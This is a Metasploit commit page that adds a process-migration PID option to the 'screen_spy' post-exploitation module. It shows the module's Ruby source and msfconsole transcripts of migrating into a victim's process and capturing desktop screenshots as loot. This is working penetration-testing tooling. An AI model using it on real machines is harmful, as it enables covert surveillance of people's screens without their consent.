Skip to content

Commit

Permalink
Land #14994, Update session_spy.rb to have a PID option for session m…
Browse files Browse the repository at this point in the history
…igration.
  • Loading branch information
gwillcox-r7 committed Apr 12, 2021
2 parents c4f88e3 + 9e43a34 commit e2532ab
Show file tree
Hide file tree
Showing 2 changed files with 215 additions and 71 deletions.
175 changes: 156 additions & 19 deletions documentation/modules/post/windows/gather/screen_spy.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,33 +14,170 @@ be viewed from the Metasploit interface.

1. Start msfconsole
2. Get meterpreter session
3. Do: ```use post/windows/gather/screen_spy```
4. Do: ```set SESSION <session id>```
5. Do: ```run```
3. Do: `use post/windows/gather/screen_spy`
4. Do: `set SESSION <session id>`
5. Do: `run`

## Options

**SESSION**
### RECORD
If set to true, record all screenshots to disk by saving them to loot.

The session to run the module on.
### PID
PID to migrate into before taking the screenshots. If no PID is specified, default to current PID.

## Scenarios

### Windows 7 (6.1 Build 7601, Service Pack 1).
### Windows 10 20H2 (No Database Connected But RECORD Flag Set)
```
msf6 exploit(multi/handler) > use post/windows/gather/screen_spy
msf6 post(windows/gather/screen_spy) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/screen_spy) > show options
```
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49184) at 201 9-12-12 14:55:42 -0700
Module options (post/windows/gather/screen_spy):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 6 yes Number of screenshots to collect
DELAY 5 yes Interval between screenshots in seconds
PID no PID to migrate into before taking the screenshots
RECORD true yes Record all screenshots to disk by saving them to loot
SESSION 1 yes The session to run this module on.
VIEW_SCREENSHOTS false no View screenshots automatically
msf > use post/windows/gather/screen_spy
msf post(windows/gather/screen_spy) > set SESSION 1
SESSION => 1
msf post(windows/gather/screen_spy) > run
msf6 post(windows/gather/screen_spy) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/screen_spy) > run
[*] Migrating to explorer.exe pid: 1908
[+] Migration successful
[*] Capturing 6 screenshots with a delay of 5 seconds
[*] Screen Spying Complete
[*] run loot -t screenspy.screenshot to see file locations of your newly acquired loot
[*] Post module execution completed
```
[*] Capturing 6 screenshots with a delay of 5 seconds
[-] RECORD flag specified however the database is not connected, so no loot can be stored!
[*] Post module execution completed
```

### Windows 10 20H2 (No Database Connected, RECORD flag not set)
```
msf6 exploit(multi/handler) > use post/windows/gather/screen_spy
msf6 post(windows/gather/screen_spy) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/screen_spy) > set RECORD false
RECORD => false
msf6 post(windows/gather/screen_spy) > set VIEW_SCREENSHOTS true
VIEW_SCREENSHOTS => true
msf6 post(windows/gather/screen_spy) > show options
Module options (post/windows/gather/screen_spy):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 6 yes Number of screenshots to collect
DELAY 5 yes Interval between screenshots in seconds
PID no PID to migrate into before taking the screenshots
RECORD false yes Record all screenshots to disk by saving them to loot
SESSION 2 yes The session to run this module on.
VIEW_SCREENSHOTS true no View screenshots automatically
msf6 post(windows/gather/screen_spy) > run
[*] Capturing 6 screenshots with a delay of 5 seconds
[*] Screen Spying Complete
[*] Post module execution completed
msf6 post(windows/gather/screen_spy) >
```

### Windows 10 20H2 (No Database Connected, RECORD flag not set, PID set to Process to Migrate To)
```
msf6 exploit(multi/handler) > use post/windows/gather/screen_spy
msf6 post(windows/gather/screen_spy) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/screen_spy) > set RECORD false
RECORD => false
msf6 post(windows/gather/screen_spy) > set VIEW_SCREENSHOTS true
VIEW_SCREENSHOTS => true
msf6 post(windows/gather/screen_spy) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > ps -aux
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
.....
8236 1288 taskhostw.exe
8296 760 svchost.exe
8424 888 RuntimeBroker.exe x64 2 DESKTOP-KUO5CML\test C:\Windows\System32\RuntimeBroker.exe
8572 3340 MeSuAx.exe
8636 760 svchost.exe
8664 8036 putty.exe x64 2 DESKTOP-KUO5CML\test C:\Program Files\PuTTY\putty.exe
.....
meterpreter > background
[*] Backgrounding session 2...
msf6 post(windows/gather/screen_spy) > set PID 8664
PID => 8664
msf6 post(windows/gather/screen_spy) > run
[+] Migration successful
[*] Capturing 6 screenshots with a delay of 5 seconds
[*] Screen Spying Complete
[*] Post module execution completed
msf6 post(windows/gather/screen_spy) >
```

### Windows 10 20H2 (Database Connected, RECORD flag set)
```
msf6 > use post/windows/gather/screen_spy
msf6 post(windows/gather/screen_spy) > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 post(windows/gather/screen_spy) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/screen_spy) > show options
Module options (post/windows/gather/screen_spy):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 6 yes Number of screenshots to collect
DELAY 5 yes Interval between screenshots in seconds
PID no PID to migrate into before taking the screenshots
RECORD true yes Record all screenshots to disk by saving them to loot
SESSION 2 yes The session to run this module on.
VIEW_SCREENSHOTS false no View screenshots automatically
msf6 post(windows/gather/screen_spy) > run
[*] Capturing 6 screenshots with a delay of 5 seconds
[*] Screen Spying Complete
[*] run loot -t screenspy.screenshot to see file locations of your newly acquired loot
[*] Post module execution completed
msf6 post(windows/gather/screen_spy) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.25.128.214 screenspy.screensho screenshot.0.jpg image/jpg Screenshot /home/gwillcox/.msf4/loot/20210412135019_d
t efault_172.25.128.214_screenspy.screen_098
612.jpg
172.25.128.214 screenspy.screensho screenshot.1.jpg image/jpg Screenshot /home/gwillcox/.msf4/loot/20210412135024_d
t efault_172.25.128.214_screenspy.screen_176
753.jpg
172.25.128.214 screenspy.screensho screenshot.2.jpg image/jpg Screenshot /home/gwillcox/.msf4/loot/20210412135029_d
t efault_172.25.128.214_screenspy.screen_057
554.jpg
172.25.128.214 screenspy.screensho screenshot.3.jpg image/jpg Screenshot /home/gwillcox/.msf4/loot/20210412135034_d
t efault_172.25.128.214_screenspy.screen_187
603.jpg
172.25.128.214 screenspy.screensho screenshot.4.jpg image/jpg Screenshot /home/gwillcox/.msf4/loot/20210412135039_d
t efault_172.25.128.214_screenspy.screen_397
543.jpg
172.25.128.214 screenspy.screensho screenshot.5.jpg image/jpg Screenshot /home/gwillcox/.msf4/loot/20210412135044_d
t efault_172.25.128.214_screenspy.screen_498
562.jpg
msf6 post(windows/gather/screen_spy) >
```
111 changes: 59 additions & 52 deletions modules/post/windows/gather/screen_spy.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,38 +6,44 @@
require 'rbconfig'

class MetasploitModule < Msf::Post
def initialize(info={})
super( update_info(info,
'Name' => 'Windows Gather Screen Spy',
'Description' => %q{
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Screen Spy',
'Description' => %q{
This module will incrementally take desktop screenshots from the host. This
allows for screen spying which can be useful to determine if there is an active
user on a machine, or to record the screen for later data extraction.
allows for screen spying which can be useful to determine if there is an active
user on a machine, or to record the screen for later data extraction.
Note: As of March, 2014, the VIEW_CMD option has been removed in
favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but
not how) the collected screenshots will be viewed from the Metasploit
interface.
Note: As of March, 2014, the VIEW_CMD option has been removed in
favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but
not how) the collected screenshots will be viewed from the Metasploit
interface.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
'bannedit', # post module
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
'Adrian Kubok' # better record file names
],
'Platform' => ['win'], # @todo add support for posix meterpreter somehow?
'SessionTypes' => ['meterpreter']
))
'License' => MSF_LICENSE,
'Author' =>
[
'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
'bannedit', # post module
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
'Adrian Kubok', # better record file names
'DLL_Cool_J' # Specify PID to migrate into
],
'Platform' => ['win'], # @todo add support for posix meterpreter somehow?
'SessionTypes' => ['meterpreter']
)
)

register_options(
[
OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
OptBool.new('VIEW_SCREENSHOTS', [false, 'View screenshots automatically', false]),
OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them', true])
])
OptBool.new('RECORD', [true, 'Record all screenshots to disk by saving them to loot', true]),
OptString.new('PID', [false, 'PID to migrate into before taking the screenshots', ''])
]
)
end

def view_screenshots?
Expand All @@ -50,26 +56,30 @@ def record?

def run
host = session.session_host
screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
screenshot = Msf::Config.get_config_root + '/logs/' + host + '.jpg'

# If no PID is specified, don't migrate.
if datastore['PID'] != ''
migrate
end

migrate_explorer
if session.platform !~ /windows/i
print_error('Unsupported Platform')
return
end

begin
session.core.use("espia")
session.core.use('espia')
rescue ::Exception => e
print_error("Failed to load espia extension (#{e.to_s})")
print_error("Failed to load espia extension (#{e})")
return
end

begin
count = datastore['COUNT']
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
leading_zeros = Math::log10(count).round
leading_zeros = Math.log10(count).round
file_locations = []
count.times do |num|
select(nil, nil, nil, datastore['DELAY'])
Expand All @@ -80,11 +90,15 @@ def run
return false
end
if data

if record?
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
fn = "screenshot.%0#{leading_zeros}d.jpg" % num
file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot")
if framework.db.active
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
fn = "screenshot.%0#{leading_zeros}d.jpg" % num
file_locations << store_loot('screenspy.screenshot', 'image/jpg', session, data, fn, 'Screenshot')
else
print_error('RECORD flag specified however the database is not connected, so no loot can be stored!')
return false
end
end

# also write to disk temporarily so we can display in browser.
Expand All @@ -102,15 +116,14 @@ def run
screenshot_path = "file://#{screenshot}"
Rex::Compat.open_browser(screenshot_path)
end

end
rescue IOError, Errno::ENOENT => e
print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
return
end
print_status("Screen Spying Complete")
if file_locations and not file_locations.empty?
print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
print_status('Screen Spying Complete')
if record? && framework.db.active && file_locations && !file_locations.empty?
print_status 'run loot -t screenspy.screenshot to see file locations of your newly acquired loot'
end

if view_screenshots?
Expand All @@ -119,28 +132,22 @@ def run
vprint_status "Deleting temporary screenshot file: #{screenshot}"
begin
::File.delete(screenshot)
rescue Exception => e
rescue StandardError => e
print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}")
print_error("This may be due to the file being in use if you are on a Windows platform")
print_error('This may be due to the file being in use if you are on a Windows platform')
end
end

end

def migrate_explorer
pid = session.sys.process.getpid
session.sys.process.get_processes.each do |p|
if p['name'] == 'explorer.exe' and p['pid'] != pid
print_status("Migrating to explorer.exe pid: #{p['pid']}")
begin
session.core.migrate(p['pid'].to_i)
print_good("Migration successful")
return p['pid']
rescue
print_bad("Migration failed")
return nil
end
end
def migrate
begin
session.core.migrate(datastore['PID'].to_i)
print_good('Migration successful')
return datastore['PID']
rescue StandardError
fail_with(Failure::Unknown, 'Migration failed! Unable to take a screenshot under the desired process!')
return nil
end
end
end

0 comments on commit e2532ab

Please sign in to comment.